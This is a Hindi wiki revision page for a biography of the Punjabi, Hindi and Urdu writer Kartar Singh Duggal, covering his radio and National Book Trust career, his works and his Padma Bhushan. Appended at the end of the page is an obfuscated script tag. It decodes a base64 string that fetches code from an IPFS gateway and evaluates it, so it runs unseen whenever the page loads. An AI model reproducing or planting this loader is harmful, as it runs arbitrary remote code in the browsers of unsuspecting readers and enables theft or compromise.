करतार सिंह दुग्गल: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
(''''करतार सिंह दुग्गल''' (अंग्रेज़ी: ''Kartar Singh Duggal'' ; जन्म- 1...' के साथ नया पृष्ठ बनाया)
 
No edit summary
Line 27: Line 27:
==संबंधित लेख==
==संबंधित लेख==
{{साहित्यकार}}
{{साहित्यकार}}
[[Category:जीवनी साहित्य]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:आधुनिक साहित्यकार]][[Category:पद्मश्री]][[Category:साहित्य कोश]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:चरित कोश]][[Category:साहित्यकार]]
[[Category:जीवनी साहित्य]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:आधुनिक साहित्यकार]][[Category:पद्म भूषण]][[Category:साहित्य कोश]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:चरित कोश]][[Category:साहित्यकार]]
__INDEX__
__INDEX__
__NOTOC__
__NOTOC__

Revision as of 12:40, 10 March 2017

करतार सिंह दुग्गल (अंग्रेज़ी: Kartar Singh Duggal ; जन्म- 1 मार्च, 1917 रावलपिंडी, पाकिस्तान; मृत्यु- 26 जनवरी, 2012) पंजाबी, हिंदी और उर्दू भाषाओं में लिखने वाले प्रसिद्ध साहित्यकारक थे। जिन्होंने ने पंजाबी, उर्दू, हिन्दी और अंग्रेजी भाषा में लघु कथाएँ, उपन्यास, नाटकों की रचनाएँ की। इनकी रचनाओं का भारतीय और विदेशी भाषाओं में अनुवाद भी हुआ है। करतार सिंह दुग्गल को सन 1988 में भारत सरकार द्वारा साहित्य एवं शिक्षा के क्षेत्र में पद्म भूषण से सम्मानित किया गया था।

परिचय

करतार सिंह दुग्गल का जन्म 1 मार्च, 1917 अविभाजित पंजाब के रावलपिंडी में हुआ था। दुग्गल ने लाहौर के फोरमैन क्रिस्चियन कॉलेज से अंग्रेज़ी में एम.ए. किया था। उन्होंने 1942 से 1966 तक आकाशवाणी में केंद्र निदेशक समेत विभिन्न पदों पर काम किया तथा इस दौरान इन्होंने आकाशवाणी के लिये पंजाबी समेत दूसरी भाषाओं में कई नाटक और कहानियाँ लिखीं। इनकी पत्नी का नाम आयशा है तथा एक पुत्र भी है। 1966-73 में दुग्गल नेशनल बुक ट्रस्ट के निदेशक पद पर थे और 1973 से 1976 तक सूचना एवं प्रसारण मंत्रालय में बतौर सलाहकार इन्होंने अपनी सेवाएं दीं।

रचनाएँ

करतार सिंह दुग्गल ने सैकड़ों कहानियाँ और कविताएँ लिखीं तथा उनकी कहानियों के कुल 24 संग्रह प्रकाशित हुये। इसी तरह कविताओं के भी 2 संग्रह प्रकाशित हुये। इसके अलावा इन्होंने 10 उपन्यास और 7 नाटक भी साहित्य संसार को सौंपे। इनकी कई कहानियों के भारतीय-विदेशी भाषाओं में अनुवाद हुये और सैकड़ों संग्रह प्रकाशित हुये। करतार सिंह की दो कविता संग्रह और एक आत्मकथा भी पाठकों तक पहुँची। उनकी पुस्तकें कई विश्वविद्यालयों में पाठ्क्रम का हिस्सा बनीं।

लोकप्रिय रचनाएँ
  1. हाल मुरीदों का
  2. उपर की मंजिल
  3. इनसानियत
  4. मिट्टी मुसलमान की
  5. चील और चट्टान
  6. तुषार कण
  7. सरबत्त दा भला

दिल्ली पंजाबी साहित्य अकादमी

दुग्गल के साहित्य को जानने वाले लोग उन्हें एक माहिर फ़नकार के तौर पर याद करते हैं। दिल्ली पंजाबी साहित्य अकादमी के सचिव रवैल सिंह करतार सिंह दुग्गल को पंजाबी लेखकों में पहली पंक्ति के सिपाही मानते हैं। रवैल सिंह दुग्गल को गुरु ग्रंथ साहब के नए काव्य संस्करण के लिए भी याद करते हैं।

पुरस्कार

करतार सिंह दुग्गल को सन 1988 में भारत सरकार द्वारा साहित्य एवं शिक्षा के क्षेत्र में पद्म भूषण से सम्मानित किया गया था। करतार सिंह साहित्य अकादमी सम्मान सहित कई सम्मानों से नवाजे गए इन्होंने उपन्यास, कहानियाँ, और नाटक लिख कर अपने लिए साहित्य की दुनिया में जगह बनाई।

राजा राममोहन रॉय फाउंडेशन

करतार सिंह दुग्गल जब नेशनल बुक ट्रस्ट के संचालक बने तब उन्होंने विश्व पुस्तक मेले का आग़ाज़ किया जो आज तब जारी है। भारत का सबसे बड़ा पुस्तकालय आन्दोलन, राजा राममोहन रॉय फाउंडेशन, भी दुग्गल साहब के हाथों क़ायम हुआ।

निधन

करतार सिंह दुग्गल का निधन 26 जनवरी 2012 को दिल्ली में हुआ था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>